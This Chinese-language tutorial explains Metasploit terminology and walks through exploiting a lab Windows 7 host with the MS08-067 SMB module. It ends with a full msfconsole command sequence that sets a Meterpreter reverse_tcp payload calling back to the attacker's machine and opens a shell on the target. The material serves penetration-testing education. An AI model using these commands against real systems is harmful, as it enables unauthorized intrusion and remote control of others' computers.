Metasploit并不仅仅是一个工具软件,它是为自动化地实施经典的,常规的,或复杂新颖的攻击提供基础设施支持的一个完整框架平台。接来来与大家一起分享一下Metasploit的基础功能。
1. 专业术语介绍
Exploit(渗透攻击),是指攻击者或渗透测试者利用一个系统、应用或者服务中的安全漏洞,所进行的攻击行为。
Payload(负载控制),是我们期望目标系统在被渗透测试攻击之后去执行的代码,在Metasploit框架要以自由地选择、传送和植入。
Shellcode,是在渗透测试攻击时作为攻击载荷运行的一组机器指令。Shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了Shellcode这一组指令之后,才会提供一个命令行shell或者Meterpreter shell,这也是Shellcode的名称由来。
Module(模块),是指Metasploit框架中所使用的一段软件代码组件。如渗透测试模块(exploit module),辅助模块(auxiliary module)等。
Listener(监听器),是Metasploit中用来等待连入网络连接的组件,例如,在目标主机被渗透攻击之后,它可能会通过互联网回连到攻击主机上,而监听器组件在攻击主机上等待被渗透攻击的系统来连接,并负责处理这些网络连接。
2. MSF终端简介
本例中使用的是Kali2018版本,默认安装的Metasploit版本为v4.17.3-dev,可以使用如下命令进入到Metasploit:
# 进入到Metasploit msfconsole
在上图中可以看到一些信息,接下来给大家介绍一下,同时希望大家对这里面出现的英文词汇进行记忆。
exploits:渗透攻击或利用模块1795个;
auxiliary:辅助模块1019个;
post:后渗透攻击模块310个;
payloads:负载控制模块538个;
encoders:解码编码器模块41个;
nops:无操作生成器模块10个。
3. 漏洞利用模块的利用
在进入到msf后,我们可以use方法来选择漏洞利用模块。
# 选择漏洞利用模块 use exploit/windows/smb/ms08_067_netapi
我们就可以显示操作参数了。
# 显示操作参数 show options
show options方法可以显示我们当前所做的参数信息。接下来,我们添加目标机器(即被渗透的机器,本例使用的操作系统是win7,IP地址为192.168.10.194)。
# 添加目标机器 set RHOST 192.168.10.194
接下来我们再使用“show options”来查看操作过的参数配置。
锁定目标机器后,我们通过漏洞利用,如果成功利用,让目标机器反向连接到我们的机器,从而实现对目标机器的控制。
# 添加目标机器 set RHOST 192.168.10.194
接下来我们再使用“show options”来查看操作过的参数配置。
刚刚设置了反向连接,但没有指定连接到哪个机器,所以这里我们要设置反向连接到本机。
# 设置反向连接到我的机器上 set LHOST 192.168.10.138
接下来我们再使用“show options”来查看操作过的参数配置。
全都设置完成之后,我们将要进行攻击行为了。
# 攻击 也可以使用 run 命令 exploit
如果成功的话,就会返回shell会话,失败的话,就会显示如下内容。
由于我们win7还是相对安全的,所以没有成功,接下来我重新安装一个win7,让大家看一看成功是什么样子的。
如果成功,就是这个样子的,如下图红框所示。
我们再输入 shell,就可以进入到目标机器里了。见上图红框下面的部分。
最后,再对代码整理汇总一下。
# 选择漏洞利用模块 use exploit/windows/smb/ms08_067_netapi # 添加目标机器 set RHOST 192.168.10.194 # 设置TCP反向链接 set payload windows/meterpreter/reverse_tcp # 设置反向连接到我的机器上 set LHOST 192.168.10.138 # 攻击 也可以使用 run 命令 exploit # 成功后,进入shell模式 shell